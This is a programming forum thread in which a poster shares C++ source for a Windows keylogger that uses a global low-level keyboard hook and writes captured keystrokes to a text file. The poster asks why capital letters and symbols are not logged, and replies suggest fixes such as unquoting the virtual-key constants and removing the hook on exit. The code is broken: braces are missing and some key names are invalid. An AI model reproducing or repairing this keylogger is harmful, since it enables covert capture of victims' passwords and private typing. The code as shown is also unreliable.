I have a keylogger code which writes the keys but does not write capital letters and such that:! @ # $% ^ & * () +
Someone help me with this?
Here is a keylogging code:

#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)

if (wParam==WM_KEYDOWN)
    switch (p->vkCode)

        case 'VK_A' : out <<"A"; break;
        case 'VK_a' : out <<"a"; break;
        case 'VK_CAPITAL' : out <<"CAPITAL"; break;
        case 'VK_ADD' : out <<"+"; break;

              out << char(tolower(p->vkCode));

return CallNextHookEx(NULL, nCode, wParam, lParam);


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    MSG msg;
HHOOK keyboardhook = SetWindowsHookEx (WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);

while(GetMessage(&msg, NULL, 0, 0))
    return msg.wParam;


Recommended Answers

All 3 Replies

I don't know the answer to the problem off the top of my head, but I do know that it needs to uninstall the hook before program exit to avoid system-wide crash.

I don't know about MS-VS, but aren't VK_'s vars some sort of constants and not strings? From your description it seems switch enters all the time in default branch. I might be wrong though because I am not into MS-VS.

I think you are right. The VK's should not be in quotes, I'm surprised it even compiled.

case VK_A: out <<"A"; break;

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, learning, and sharing knowledge.